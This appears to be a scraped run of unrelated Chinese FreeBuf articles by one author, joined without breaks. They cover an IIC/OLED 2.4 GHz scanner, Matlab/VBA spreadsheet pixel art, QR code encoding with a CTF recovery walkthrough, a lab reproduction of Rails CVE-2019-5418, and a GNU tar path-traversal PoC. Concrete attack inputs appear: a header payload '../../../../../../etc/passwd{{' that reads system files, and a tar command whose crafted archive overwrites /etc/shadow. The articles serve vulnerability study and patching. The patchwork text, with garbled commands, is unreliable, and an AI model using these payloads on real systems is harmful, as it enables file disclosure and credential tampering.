为什么要说这个协议呢,目前IIC的通信相对与其他一些高速的通信协议来说还是比较慢的,我看到过有人通过分析IIC最后逆向破解了一个小设备。大家如果对这方面的资料感兴趣的话,可以自己去找资料看看。

不过在我们这个小项目种就会有一个问题,那就是你买回来的OLED的地址不一样,导致你烧入程序之后不能正常工作。

很多小伙伴问我他的显示屏为什么不显示,我查来查去最后发现他买的IIC的地址和我的不一样,只要在OLED库文件里面修改IIC的地址就好了。

IIC的通信我是玩过了,大概也能根据时序图写一个程序出来,但是SPI还是没有尝试过。在些这篇文章的时候我还不是很了解,所以我这里也不说什么了,怕误导大家。

最近在研究这些代码。

我自己的小设备借给别人玩了。所以也没什么照片放上来,不过我想抽空画一个PCB。做一个简易版。比较就算使用arduino Nano还是有点臃肿,如果有PCB的话,就可以做的非常的小巧。如果有志同道合的人愿意一起搞这些东西的话,我十分开心。

所有的代码在github上面都有。大家可以自己搜索一下。

之前的文章种写过一个HackCube的文章,我自己也买了CC1101的射频模块,我准备有空自己制作一个小的设备,这个小设备就对1Ghz一下的信号进行分析,尤其是对一些固定码的研究,虽然HackCube已经实现了相应的功能但是我还是喜欢自己研究并且开发一下。

说一下这个小设备的效果,她能在2.41G到2.51G范围内不断扫描,然后将有信号的频段通过OLED显示出来。大家不要害怕制作完了之后周围没有2.4G的信号源给你测试,你会发现你家的路由器也是使用2.4G的频段。当然也有不少是5Ghz的。那你可以带上你的小设备去户外看看。

至于我文章中说到的关于IIC的逆向,我在国外的一些视频网站上面看到过,大家自行查找。如果有志同道合,对硬件,和硬件安全感兴趣的朋友可以留言哦。

至于这个小设备准不准,那我也不清楚,因为我也没有设备测量,只能提供参考吧。如果有人想打板子做的话也可以的。

*本文原创作者:LEdge1,本文属于FreeBuf原创奖励计划,未经许可禁止转载

之前学习Matlab是为了参加一个数学建模的比赛,但是在慢慢的学习当中发现了matlab这款软件是真的有趣,真的非常有用,大家没事也可以去学习一下使用matlab。

在参加完建模比赛之后,matlab这个软件业一直没有卸载就放在我的电脑里面。直到有一天看到网上有人使用表格画画,我想我是不是也能画一幅。我自己也尝试过,但是实在是不好画。我脑袋一热想起来了,照片是由像素组成的,每个像素里面包含了RGB三种颜色的信息,我要是能提取这张照片的每个像素的RGB值,我就可以在表格里面精准的画对颜色了, 同时我要是能找对每个像素所在的位置,我就能画对地方了。位置对了,颜色对了,那就好办了,但是想来想去这么提取照片里面的像素呢?

最后在matlab下面找到一个函数,可以提取rgb的信息,废话不多说,打开matlab把。上手编程。

习惯了写注释,使用每次代码都是整整齐齐的。

这个就是RGB的信息了。

在使用matlab处理好照片之后,就能得到一个含有照片所有RGB信息的文本了,把这个文本导入到表格里面,就可以根据每个表格的里面的信息开始填充颜色了,你以为真的那么简单的吗,你会发现上千上万个格子要你去填充。这时候我又想到了,自己学过VBA编程,VBA编程可以处理文案工作中那些繁琐重复的任务,那我就开始敲代码把。感觉没有什么事是代码不能解决的。

附上VBA的程序吧。在此之前只要调整好表格的一些参数,然后运行这个宏就可以等着自动填充颜色吧。最后出来的效果,那是棒棒的啊。感谢编程。让我有了这么一会装B的机会 。

最后我就把最近Freebuf的一个小程序的二维码做了一张表格出来了

看一下把。

这个是二维码图片的信息。我们给导入到表格里面去。

最后运行宏,颜色直接自己填充好。你看怎么样。

当然了,这不马上就要七月七号了吗,可以给女朋友也做一个。到时候直接发个表格过去,搏他一笑~

*本文作者:LEdge1,转载请注明来自FreeBuf.COM

有些时候二维码被严重破坏导致无法扫描,促使我去学习了一波关于二维码的知识。二维码一共有40个尺寸。V 1是21 x 21的矩阵,V2是 25 x 25的矩阵,V3是29的尺寸,每增加一个等级,就会增加4的尺寸,公式是:(V-1)*4 + 21 最高V 40,(40-1)*4+21 = 177,所以最高是177 x 177 的正方形。

二维码格式示例如下:跟我一起学习玩转二维码

定位图案

定位图案,就是每个二维码都有的左上、左下和右上三个角的“回”字形的标志。用于标记二维码的矩形大小他的尺寸都是7*7的模块。

跟我一起学习玩转二维码功能性数据:存在于所有的尺寸中,用于存放一些格式化数据的,主要内容为“纠错码等级(3bit)+掩码类别(2bit)+BCH code(10bit,用于纠错)”,然后这15个bits还要与101010000010010做XOR操作,主要是为了如果选用了00的纠错级别和000的Mask,从而造成全部为白色,这会增加扫描器的图像识别的困难。比如:

跟我一起学习玩转二维码  而这15个bit在format information区域内的分布如下:

跟我一起学习玩转二维码  在 Version 7以上,需要预留两块3 x 6的区域存放一些版本信息。

 数据码和纠错码

 除了上述的那些地方,剩下的地方存放 数据码 和纠错码。就是最前面两张图的深灰色区域,一般数据都是从右下角开始填充,先填充数据码,数据码填充完毕之后再填充纠错码,以v1为例,数据的填充顺序,是这样的:


跟我一起学习玩转二维码

数据编码

QR码支持如下的编码:

数字编码:从0到9;

字符编码:包括 0-9,大写的A到Z(没有小写),以及符号$ % * + – . / : 包括空格;

字节编码:可以是0-255的ISO-8859-1字符;

日文编码:也是双字节编码;

Extended ChannelInterpretation (ECI) mode 主要用于特殊的字符集。并不是所有的扫描器都支持这种编码;

Structured Appendmode 用于混合编码,也就是说,这个二维码中包含了多种编码格式;

FNC1 mode 这种编码方式主要是给一些特殊的工业或行业用的。比如GS1条形码之类的

下表是每个模式的编码相对应的“编号”,这个编号,存在于format information区域。

跟我一起学习玩转二维码

因为种类较多较复杂,而且为了方便大家理解,我们在这里值选择数字编码和字符编码举例,其它的编码,有兴趣的同学可以查看官方文档。
示例一:

数字编码,从0到9。如果需要编码的数字的个数不是3的倍数,那么,最后剩下的1或2位数会被转成4或7bits,则其它的每3位数字会被编成10位的二进制数,最后将这些二进制数据连接起来并在前面加上编码模式的编号和字符计数指示符(就是表示了被编码的信息有多少个字符),字符计数指示符的长度取决于编码的模式和所要编成二维码的版本,在数字编码中,字符计数指示符如下表对应的有10、12或14位:

跟我一起学习玩转二维码

比如在Version 1的尺寸下,纠错级别为H(纠错级别我们会在下面讲到)的情况下,我们要编码: 01234567

(1)把上述数字分成三组: 012 345 67

(2)把他们转成10bit二进制:  012 转成 0000001100;345 转成 0101011001;67 转成1000011。

(3)把这三个二进制串起来: 0000001100 0101011001 1000011

(4)把数字的个数转成二进制 (version 1-H是10 bits ): 8个数字的二进制是0000001000

(5)把数字编码的标志0001和第4步的编码加到前面:  0001 00000010000000001100 0101011001 1000011

示例二:

字符编码(也叫字母数字编码)。包括 0-9,大写的A到Z(没有小写),以及符号$ % *+ – . / : 包括空格。这些字符会映射成一个字符索引表。如下所示(两个表,中英文对照):(其中的SP是空格,Char是字符,Value是其索引值),编码的过程是把字符两两分组,然后转成下表的45进制,然后转成11bits的二进制,如果最后有一个落单的,那就转成6bits的二进制。而字符计数指示符需要根据不同的Version尺寸编成9, 11或13个二进制(如上表)。

跟我一起学习玩转二维码image.png

在V 1的尺寸下,纠错级别为H的情况下,编码: AC-42

(1)从字符索引表中找到 AC-42 这五个字条的索引 (10,12,41,4,2)

(2)两两分组: (10,12) (41,4) (2)

(3)把每一组转成11bits的二进制:(10,12) 10*45+12 = 462 转成 00111001110;(41,4)41*45+4 = 1849 转成 11100111001;

(4)把这些二进制连接起来:00111001110 11100111001 000010

(5)把字符的个数转成二进制 (Version 1-H为9 bits ): 5个字符,5转成 000000101

(6)在头上加上编码标识 0010 和第5步的个数编码:  0010 00000010100111001110 11100111001 000010

结束符和补齐符

以上述示例一为基础,在编码结束后,我们得到了如下编码:

然后,我们还要加上结束符,表示真正的额数据已经结束。

编码 字符数 HELLO WORLD的编码
0010 000001011 01100001011 01111000110 10001011100 10110111000 10011010100 001101

我们还要加上结束符:

编码 字符数 HELLO WORLD的编码 结束
0010 000001011 01100001011 01111000110 10001011100 10110111000 10011010100 001101 0000

按每组8个bit分组,如果所有的编码加起来不是8个倍数我们还要在后面加上足够的0,比如上面一共有45个bit,所以,我们还要加上3个0,然后按8个bits分好组:0001000000100000 00001100 01010110 01100001 10000000

接着就是补齐符,如果还没有达到我们最大的bits数的限制,我们还要加一些补齐码就是重复下面的两个bytes:11101100 00010001。(使用这两个字节的主要原因是,为了防止在填入数据时出现大片的深色或浅色区域,对扫描器产生干扰,使得二维码难以正常扫描),至于要补多少个补齐符,需要查看文档中相应的字符数和数据容量对应表,在官方文档中,相对应的是表7-表11

跟我一起学习玩转二维码

从表中,我们可以知道,v1-H的数据容量为9个数据码字(每个数据码字为8位),而我们上面已经有了6个数据码字,所以要补充三个8bit,补充完毕如下:0001000000100000 0000110001010110 01100001 10000000 11101100 00010001 11101100 上面的每一组数据为一个数据码字,Data Codewords,现在也只是原始数据,还需要对其加上纠错码。

纠错码

上面我们提到了纠错级别,二维码中有四种级别的纠错(从低到高为L、M、Q、H),这就是为什么有人在二维码的中心位置加入图标,也依旧能够扫描(就是二维码残缺量不超过所对应的纠错等级能允许的范围时,使用扫描工具依旧能扫描出内容的原因)。

image.png

至于纠错码是如何计算的,这涉及到里德-所罗门纠错算法,里德-所罗门码是定长码。这个比较复杂,但是万能的Pythom里面有一个交reedsolo的库可以直接调用。这意味着一个固定长度输入的数据将被处理成一个固定长度的输出数据。在最常用的(255,223)里所码中,223个里德-所罗门输入符号(每个符号有8个 位元)被编码成255个输出符号。大多数里所错误校正编码流程是成体系的。这意味着输出的码字中有一部分包含着输入数据的原始形式。符号大小为8位元的里所码迫使码长(编码长度)最长为255个符号。标准的(255,223)里所码可以在每个码字中校正最多16个里所符号的错误。由于每个符号事实上是8个位元,这意味着这个码可以校正最多16个短爆发性错误。里德-所罗门码,如同卷积码一样,是一种透明码。这代表如果信道符号在队列的某些地方被反转,解码器一样可以工作。解码结果将是原始数据的补充。但是,里所码在缩短后会失去透明性。在缩短了的码中,“丢失”的比特需要被0或者1替代,这由数据是否需要补足而决定。(如果符号这时候反转,替代的0需要变成1)。这样就需要在里所解码前对数据进行强制性的侦测决定。

我们有现成的python模块来运算出纠错码——python的reedsolo模块。我们可以对照官方文档中的纠错特性表。以下表为例:

跟我一起学习玩转二维码

以版本1-H为例进行解释,从表中,我们可以清晰的知道,纠错码字数应该为17个,纠错的块数为1(表示这个版本要编码的数据只会分为一个数据块),(26,9,8)表示,这个版本的二维码总共可以存放26个码字,但是这26个码字中,有9个码字为数据码字,17个为纠错码字(8*2+1=17),8位纠错容量。每个表的下方否有注释信息:

跟我一起学习玩转二维码

这也是为什么纠错码字数为r*2,当后面有一个箭头时,表示r*2之后还要加1。在给数据码字添加纠错码时,还有对数据码字分块的操作,因为version1的二维码对数据码字之分一个块,不够明显,所以我们采用网上的一个例子:

跟我一起学习玩转二维码上述的Version 5 + Q纠错级:需要4个块(2个块为一组,共两组),头一组的两个Blocks中各15个字节(数据码字)数据 加上 各 9个字节的纠错容量(18个字节的纠错码字)。因为二进制写起来会让表格太大,所以,都用了十进制来表示,我们可以看到每一个数据块的纠错码有18个字节,也就是18个8bits的二进制数。

跟我一起学习玩转二维码

5.   最终编码,穿插放置。

此时,编码的过程,只剩下最后一步。

对于数据码字:把每个块的第一个codewords先拿出来按顺度排列好,然后再取第一块的第二个,如此类推。上述示例中的Data Codewords如下:

跟我一起学习玩转二维码

我们先取第一列的:67 246 182 70

然后再取第二列的:67 246 182 70 85246 230 247

如此类推:67 246 182 70 85246 230 247 ………  ……… 38 65017 7236

对于纠错码,也是一样:

跟我一起学习玩转二维码

和数据码取的一样,得到:213,87,148,235,199,204,116,159,…… …… 39,133,141,236

然后,再把这两组放在一起(纠错码放在数据码之后)得到:

67, 246, 182, 70, 85, 246, 230, 247, 70, 66, 247, 118, 134, 7, 119, 86, 87,118, 50, 194, 38, 134, 7, 6, 85, 242, 118, 151, 194, 7, 134, 50, 119, 38, 87,16, 50, 86, 38, 236, 6, 22, 82, 17, 18, 198, 6, 236, 6, 199, 134, 17, 103, 146,151, 236, 38, 6, 50, 17, 7, 236, 213, 87, 148, 235, 199, 204, 116, 159, 11, 96,177, 5, 45, 60, 212, 173, 115, 202, 76, 24, 247, 182, 133, 147, 241, 124, 75,59, 223, 157, 242, 33, 229, 200, 238, 106, 248, 134, 76, 40, 154, 27, 195, 255,117, 129, 230, 172, 154, 209, 189, 82, 111, 17, 10, 2, 86, 163, 108, 131, 161,163, 240, 32, 111, 120, 192, 178, 39, 133, 141, 236

剩余位

最后再加上Reminder Bits,对于某些Version的QR,上面的还不够长度,还要加上Remainder Bits,比如:上述的5Q版的二维码,还要加上7个bits,Remainder Bits加零就好了。关于哪些Version需要多少个Remainder bit,可以参看官方文档的表一(这里列出一部分)。

跟我一起学习玩转二维码

掩码(也叫掩模)

编码的步骤是完成了,但是要想生成一个完好的二维码,还需要先将现在所拥有的数据填入提前准备的空白模板后,选择一个合适的掩码,将原模板的数据与掩码进行异或运算,最后,再将format information填进去就生成了二维码。掩码存在的意义:二维码是要拿来扫描的,而扫描怕的就是无法清晰地分辨出编码信息的每一位。要是二维码中黑白点数量不均,或是空间分布不均都会导致大色块区域的出现,而大色块区域的出现会增加扫描时定位的难度,从而降低扫描的效率。更严重的情况下,如果数据填入后碰巧出现了功能性标识,比如定位标识的图样,还会干扰正常功能性标识的作用,导致QR码无法扫描。在计算机科学中,掩码就是一个二进制串,通过和数据进行异或运算来变换数据。在QR码中,掩码也是通过异或运算来变换数据矩阵。所以你可能已经猜到了,QR码的掩码就是预先定义好的矩阵。QR标准通过生成规则定义了八个数据掩码:

跟我一起学习玩转二维码前面的三位二进制的数据就是每个模式掩码相对应的编号,这个信息也是要填入format information中的。

跟我一起学习玩转二维码从这个图我们就可以直观的看到每种掩码的模板样子,以掩码2(编号为010)为例,j mod 3 = 0 就是表示从左变开始数,能被3整除的列,都要取逆(黑块变白块,白块变黑块),当然二维码的固定格式区域的信息时不用取逆的,所以要使用掩码2,需要取逆的列数为:0、3、6、9…..。

跟我一起学习玩转二维码当然,官方规定在进行异或时,原始的数据模板要与每个掩码模板进行异或运算后,要进行如下的规则进行计分(处罚),最后选择分数最低的一个作为最佳的掩码选择。

跟我一起学习玩转二维码

另外,使用python的reedsolo模块,能够在二维码损坏超出相应级别的容错范围时也能够恢复数据。

Python2环境下的reedsolo模块基本使用方式

1. 首先安装reedsolo模块,python官方下载的reedsolo模块版本为0.3,不是很好用,这次使用的reedsolo模块存放在下载包中的reedsolomon-master.zip,解压后在该路径下运行cmd命令python setup.py install即可。

跟我一起学习玩转二维码2.     进入python环境,导入reedsolo模块。定义一个对象,设置生成的纠错码个数为10个。

跟我一起学习玩转二维码3.    为字符串“hello world”编码,生成纠错码。

跟我一起学习玩转二维码

4.   进行解码

跟我一起学习玩转二维码5.    现在大致了解了reedsolo模块的使用方法,那现在了解一下纠错码的作用,比如,我们现在将“hello world”写成错误的“hellx xorld”,这里我们出现了两个错误,配上之前生成的纠错码进行解码,输出的就是正确的字符串,纠错码就是这样了。

跟我一起学习玩转二维码6.    纠错码算法是对所要纠错的内容一个字节一个字节地进行编码,所以编码后生成的是一个字节数组。

7.   将编码后的内容转化为十进制输出

跟我一起学习玩转二维码

学以致用,复现MMA2015-MISC400-qr的二维码恢复挑战的解题步骤,原版write-up地址为:https://github.com/pwning/public-writeup/blob/master/mma2015/misc400-qr/writeup.md

1.   题目给出的二维码如下图

跟我一起学习玩转二维码

这是一个25*25的二维码,也就是version2的二维码,二位从它能看见的部分我们可以得到format information的一部分信息:??????011011010

2.   对照下面这个网址所给出的对应表,可以知道这个二维码使用了什么编码模式和使用了哪一个掩码

https://www.thonky.com/qr-code-tutorial/format-version-tables#list-of-all-format-information-strings

跟我一起学习玩转二维码

经对照可知,完整的format information信息应该是:010111011011010。且可以得到的信息还有该二维码使用的掩码为6,所对应的纠错等级为Q。

3.   将被遮挡的固定信息部分以及format information信息补充完整。

跟我一起学习玩转二维码  与相对应的掩码进行异或运算,得到原始的数据中的一部分数据码字和纠错码字。下图就是掩码6相对应的图案。

跟我一起学习玩转二维码4.    将掩码应用到我们补充完的二维码上,翻转与掩码中深色区域相对应的区域的颜色,并用灰色将format information覆盖,方便读取数据,如下图。

跟我一起学习玩转二维码

5.   从右下角开始,按下图的蛇形顺序读取数据码字和纠错码字的信息,至于不同区域块的信息读取顺序,可以参考官方文档。

跟我一起学习玩转二维码跟我一起学习玩转二维码

跟我一起学习玩转二维码且相对应的数据块分布应该如下图所示:

跟我一起学习玩转二维码

6.   将全部可读的信息读取出来:      

跟我一起学习玩转二维码

7. 根据官方文档的纠错特性表,可知version2-Q的纠错码字数有22个,数据码字数也有22个,在Q级别,它可以恢复不超过25%的损坏的字节,但是我们只有16个完整的字节,即超过63%的字节丢失,仔细查看Reed-Solomon的纠错能力,并意识到它可以纠正多达两倍的擦除——也就是说,如果 它知道错误在哪里,那么纠错能力就强得多。这意味着我们的代码可以从丢失的字节的50%恢复过来!但这意味着我们只能纠正多达22个丢失的字节,但是我们目前依然只有16个完整的字节,所以我们要想办法恢复一部分字节使得达到22个字节这个最低要求。

跟我一起学习玩转二维码

8.   我们先将获得的可读取数据整理一下:

     0010:【编码模式=字符编码(字母数字模式)】

     000010100:【9个bit长度的字符计数标识符=20个字符】

     01010111000:【FL】

     00111010010:【AG】

     11001100110:【 I】

     1010001000?:【S?】

我们计算一下,22个数据码字,就是176个bit,而20个字符,在编码的时候分为10组,每组11个bit,所以4+9+10*11=123个bit,123/8=15余3,再加上4个0(结束符) ,以及8bit重组时需要补充为8的倍数,8-3-4=1,所以还需要加1个0。这时候总共也就16个数据码字,22-16=6,所以还要加上6个 字节的补齐码,如下(红色的是原本被遮住的数据):

00100000 10100010 10111000 00111010 01011001 10011010 10001000 ???????????????? ???????? ???????? ???????? ???????? ???????? ???????? ??000000     1110110000010001 11101100 00010001  11101100  00010001

这样,我们就回复了6个字节的数据,此时我们丢失的字节就只剩下22个了,正好达到了最低的要求。我们就可以使用纠错码恢复原本的数据。

9.   编写脚本利用python的reedsolo模块进行纠错。

跟我一起学习玩转二维码

10.   得到全部的信息。

跟我一起学习玩转二维码

11. 拆分和解码

跟我一起学习玩转二维码参考文献

https://zhuanlan.zhihu.com/p/21463650     

https://coolshell.cn/articles/10590.html

2.官方文档(中文版):

https://wenku.baidu.com/view/ef77275f312b3169a451a4a4.html?pn=50

3.里德-所罗门码:

https://www.jianshu.com/p/8208aad537bb    

https://en.wikiversity.org/wiki/Reed%E2%80%93Solomon_codes_for_coders#Encoding_outline

https://stackoverflow.com/questions/30363903/optimizing-a-reed-solomon-encoder-polynomial-division

4.MMA2015-MISC400-qr的write up:

https://github.com/pwning/public-writeup/blob/master/mma2015/misc400-qr/writeup.md

*本文作者

*本文作者:LEdge1,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

Ruby on Rails是一个 Web 应用程序框架,是一个相对较新的 Web 应用程序框架,构建在 Ruby 语言之上。它被宣传为现有企业框架的一个替代,而它的目标,就是让 Web 开发方面的生活,变得更轻松。

【CVE-2019-5418】漏洞公告: 公告地址

Versions Affected:  All. 
Not affected:       None. 
Fixed Versions:     6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, 4.2.11.1 
Impact 
There is a possible file content disclosure vulnerability in Action View. 
Specially crafted accept headers in combination with calls to render file: 
can cause arbitrary files on the target server to be rendered, disclosing the 
file contents. 
The impact is limited to calls to render which render file contents without 
a specified accept format.  Impacted code in a controller looks something like 
this: 
class UserController < ApplicationController 
def index 
    render file: "#{Rails.root}/some/file" 
end 
end

这个漏洞主要是由于网站使用了为指定参数的render file来渲染应用之外的视图,我们可以通过修改访问某控制器的请求包,通过“../../../../”来达到路径穿越的目的,然后再通过“{{”来进行模板查询路径的闭合,使得所要访问的文件被当做外部模板来解析。

实验环境

Centos7桌面版,装有Ruby On Rails环境。

Ruby On Rails环境搭建

1.   安装git  #yum install git

2.   安装rbenv到~/.rbenv目录

git clonegit://github.com/sstephenson/rbenv.git~/.rbenv

3.   安装rbenv的插,用来编译安装 ruby

git clonegit://github.com/sstephenson/ruby-build.git~/.rbenv/plugins/ruby-build

4.   用来管理 gemset, 可选, 因为有 bundler 也没什么必要

git clone git://github.com/jamis/rbenv-gemset.git ~/.rbenv/plugins/rbenv-gemset

5.   通过 gem 命令安装完 gem 后无需手动输入 rbenv rehash 命令

git clonegit://github.com/sstephenson/rbenv-gem-rehash.git~/.rbenv/plugins/rbenv-gem-rehash

6.   通过 rbenv update 命令来更新 rbenv 以及所有插件

git clone git://github.com/rkh/rbenv-update.git~/.rbenv/plugins/rbenv-update

7.   使用 Ruby China 的镜像安装 Ruby, 国内用户推荐

git clonegit://github.com/AndorChen/rbenv-china-mirror.git~/.rbenv/plugins/rbenv-china-mirror

8.   然后需要将下面两句代码放在bash的配置文件中:

export PATH="$HOME/.rbenv/bin:$PATH"

eval "$(rbenv init -)"

9.   位置是在.bash_profile(Ubuntu中应该是.bashrc)修改完成后,执行下面的命令使其生效

source ~/.bashrc

10. 安装ruby

rbenv install --list  # 列出所有ruby 版本

rbenv install 2.3.3   #安装2.3.3版本Ruby

11. 设置使用的ruby版本

rbenv global 2.3.3      # 默认使用2.3.3,此步骤不能省略

ruby –v                #查看安装的Ruby版本

12. 安装rails

设置ruby版本后,安装rails(指定rails版本):

1)在当前的ruby版本中安装rails

gem install rails -v 5.2.1   #指定版本

2)查看rails安装版本

rails –v

3)修改bundle的源地址(可能需要修改,视情况而定。)

bundle config mirror.https://rubygems.orghttps://gems.ruby-china.org

执行bundleinstall

在项目根目录执行bundleinstall

问题解决(在安装和运行的过程中,可能会出现各种各样的问题, 链接文字我就是安装下面的这些依赖的,但是不一定和我这个一样,大家还是根据自己的提示来吧):

yum -y install gcc

yum install flex autoconf zlib curlzlib-devel curl-devel bzip2 bzip2-develncurses-devel libjpeg-devel libpng-devel libtiff-develfreetype-devel pam-develgcc+ gcc-c++ libxml2 libxml2-devel libxslt libxslt-devel

yum install sqlite*

漏洞复现

1.   先下载原码(;”>路径“/root /CVE-2019-5418/”), 源码地址

2.   进入“/root”路径下,执行“source .bash_profile”

image.png

3.   将下载得到的压缩包进行解压,进入demo路径下执行:

bundle install

4.   在demo路径下执行“rails s”,开启服务。

image.png5.   此时漏洞环境已搭建完成且开始运行,使用浏览器测试能否访问。如下图表示可正常访问

image.png6.   访问“chybeta”路径:

7.   我们使用浏览器自带的开发者工具进行漏洞复现,按“f12”打开工具,修改这条请求,修改内容如下:

 ../../../../../../etc/passwd{{

image.png

image.pngimage.png

8.   漏洞复现成功,成功读取到passwd文件的内容:

image.png

9.   或者,我们也可以使用burp suite来抓包,设置好浏览器代理,访问“/chybeta”路径抓包.我们只要修改好流量包的内容重新发送即可。用浏览器自带的工具实现功能,我就不想在使用Burp suite了。之后就可以很简单的得到目标主机的passwd文件内容。

漏洞分析

漏洞影响所有版本的rails,但是目前已经有几个版本修复了此漏洞:

6.0.0.beta3,

5.2.2.1

5.1.6.2

5.0.7.2

4.2.11.1

我们先看一下正常访问时什么样的吧:

image.png可以看到我们每获取一个请求,Ruby On Rails就会使用Render file(没有指定参数)的渲染模式来渲染目标。这样就会在我们攻击的时候,将目标文件当做模板来渲染,然后返回给浏览器:哈哈哈哈。

image.png  rails在控制器中通过render file形式来渲染应用之外的视图,因此在“.rbenv/versions/2.3.3/lib/ruby/gems/2.3.0/gems/actionview-5.2.1/lib/action_view/renderer/template_renderer.rb”中会根据“options.key?(:file)”,调用“find_file”函数来寻找视图。代码如下:

module ActionView

  class TemplateRenderer < AbstractRenderer#:nodoc:

    # Determine the template to be renderedusing the given options.

      def determine_template(options)

        keys = options.has_key?(:locals) ?options[:locals].keys : []

        if options.key?(:body)

          ...

        elsif options.key?(:file)

          with_fallbacks {find_file(options[:file], nil, false, keys, @details) }

        ...

      end

end

 “find_file”代码如下(路径为:“.rbenv/versions/2.3.3/lib/ruby/gems/2.3.0/gems/actionview-5.2.1/lib/action_view/lookup_context.rb”)

image.png

发现“find_file”又调用了“*args_for_lookup”,所以我们继续跟入查看“args_for_lookup”函数,代码如下: 

image.png

此函数会生成用于查找文件的参数,当其最终返回时会把payload保存在details[formats]中(大家自己做实验的时候可以直接访问一个不存在的文件,这样会直接显示访问的详细信息)。

 再回到“find_file”函数,跟进之后,会进入到:“.rbenv/versions/2.3.3/lib/ruby/gems/2.3.0/gems/actionview-5.2.1/lib/action_view/path_set.rb”。

class PathSet #:nodoc:

   def find_file(path, prefixes = [], *args)

     _find_all(path, prefixes, args, true).first ||raise(MissingTemplate.new(self, path, prefixes, *args))

   end

   private

    #注,这里的 args 即前面args_for_lookup生成的details

       def _find_all(path, prefixes, args, outside_app)

           prefixes = [prefixes] if String === prefixes

           prefixes.each do |prefix|

           paths.each do |resolver|

                if outside_app

                templates =resolver.find_all_anywhere(path, prefix, *args)

                else

                templates =resolver.find_all(path, prefix, *args)

                end

                return templates unlesstemplates.empty?

           end

           end

           []

       end

由于要渲染的视图在应用之外(outside_app,因此跟入“find_all_anywhere”(在“.rbenv/versions/2.3.3/lib/ruby/gems/2.3.0/gems/actionview-5.2.1/lib/action_view/template/resolver.rb”):

def find_all_anywhere(name, prefix, partial= false, details = {}, key = nil, locals = [])

   cached(key, [name, prefix, partial], details, locals) do

   find_templates(name, prefix, partial, details, true)

   end

end

进入find_templates,这就是根据条件来查找要渲染的模板:

image.png

从代码便可以看到,所查找的模板会赋值给details[:formats],如果建立建立查询后,查询内容就会如下:

image.png

利用../与前缀组合造成路径穿越,利用最后的{{完成闭合。

最后“/etc/passwd”被当成模板文件进行渲染,最后造成了任意文件读取。

使用IDE环境进行调试,最后组成的路径应该是:

/etc/passwd{{},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},}

漏洞修复

1.  使用已经修复该漏洞的版本

2.  补丁:补丁地址

*本文作者:LEdge1,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

*本文作者:LEdge1,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

之前WinRAR出现的漏洞,没几天网上就出现了各种利用这种漏洞的攻击了,想到这,我突然想起来Linux下也有这么一款解压软件也是有漏洞的。今天给大家说一说吧 !

我们在Linux下使用最多的压缩和解压工具就是tar了。如果说这款工具出现了漏洞,那么危害还是很大的。不过还真的出现了一个解压路径的漏洞:这个漏洞出现在tar解压命令上,如果恶意者提前构造好这种有害的压缩包。当我们在使用tar命令解压的时候导致压缩包解压到不是我们指定的目录下面,导致了文件覆盖,更有甚者进行远程的代码执行!

影响范围

GNU tar :1.14 ~1.29 (包含1.29)

影响系统包括所以使用GNU tar命令的linux系统

实验环境

操作机 : Kali Linux

实验工具

tar-poc.tar :这个文件是本次漏洞试验的POC,我们将使用本文件验证漏洞

tar-1.26.tar.gz :1.26版本的tar源码

实验步骤

步骤1:漏洞分析

在实现漏洞复现之前我们得了解一下,这个漏洞的是什么原因导致的。那我们就得对源码进行分析,在进行源码的分析过程中发现了paxnames.c这个文件是有问题的,那我们废话不多说进入源码存放文件夹,盘它:

cd /root/Desktop/ // 进入桌面

cat tar-1.26/lib/paxnames.c // 预览paxnames.c文件

在tar1.26的源码包中,lib文件夹下存放着函数库和一些配置文件,其中paxnames.c文件里面存放着检测文件名和路径安全性的相关函数和配置。就是检测程序考虑的不够完美导致了漏洞的出现。

打开后,可以看到如下代码:

char *

safer_name_suffix (char const*file_name, bool link_target,

    bool absolute_names)

{

 char const *p;

 if (absolute_names)

   p = file_name;

 else {

     /* Skip file system prefixes, leading file name components that contain

 &quot;..&quot;, and leading slashes.  */

             size_tprefix_len = FILE_SYSTEM_PREFIX_LEN (file_name);

 

     for (p = file_name + prefix_len; *p; )

 {

         if (p[0] == '.' &amp;&amp; p[1] == '.' &amp;&amp;(ISSLASH (p[2]) || !p[2]))

    prefix_len = p + 2 - file_name;

 

  do

    {

      char c = *p++;

      if (ISSLASH (c))

 break;

    }

  while (*p);

 }

 

     for (p = file_name + prefix_len; ISSLASH (*p); p++)

 continue;

     prefix_len = p - file_name;

 

     if (prefix_len)

 {

  const char *prefix;

  if (hash_string_insert_prefix (&amp;prefix_table[link_target],file_name,

     prefix_len, &amp;prefix))

    {

      static char const *const diagnostic[] =

      {

 N_(&quot;Removing leading `%s' from member names&quot;),

 N_(&quot;Removing leading `%s' from hard link targets&quot;)

      };

      WARN ((0, 0, _(diagnostic[link_target]), prefix));

    }

 }

   }

在研究了一段时间之后发现,这段代码里面有个safer_name_suffix函数,他的任务就是检测文件名是否合法,文件后缀是否合法。

absolute_names 是一个变量,它用来获得文件的名称,如果absolute_names变量为0,那么就将文件名中文件系统的前缀给去掉。

在之前比较老的版本,如果压缩文件中存在 .. 字符串,系统会跳过不去处理这些文件。

而在后来的版本中,safer_name_suffix不再跳过文件名中包含 ../ 字符串的恶意字符,强制删除所有存在可能被恶意访问的字符,如 ../ ,把 ../ 之前的所有字符都删除,只会留下其后面的字符。

使其与解压目标路径变成相对路径,而压缩包中的内容就会覆盖恶意访问者指定的路径文件,漏洞就这样产生了。

例如:test.tar压缩包中有一个文件夹,其文件夹路径依次为 etc/motd../etc/shadow ,然后在执行命令 tar -C / -xvf test.taretc/motd ,意思是将test.tar里面的内容解压到etc/motd目录下。

但是在safer_name_suffix函数中经过一系列操作,已经将 ../ 之前的内容都去掉了,路径名只剩下 etc/shdow ,这时候, etc/shdow 就被覆盖了。

步骤2:使用POC验证漏洞

本步将使用POC验证漏洞.

现在我们使用POC来验证漏洞,因为此POC是覆盖 etc/shadow ,所以我们首先先查看一下原始的shadow文件有什么内容。

使用命令:

cat /etc/shadow // 预览shadow文件的内容

可以看到,里面记录了各个账户的用户名、加密过的密码、上次更改密码的日期等。

接下来我们来解压POC,将他解压到 etc 目录下,使用命令:

cd /root/Desktop

tar -C / -xvf tar-poc.tar etc/motd

其中,X的意思是从归档文件中释放文件。v的意思是输出tar处理文件的信息到屏幕。f的意思是使用归档文件,一般情况下f这个选项是必选的。

这时,再次查看 etc/shadow 文件,发现已经被替换。已经不是之前的内容。

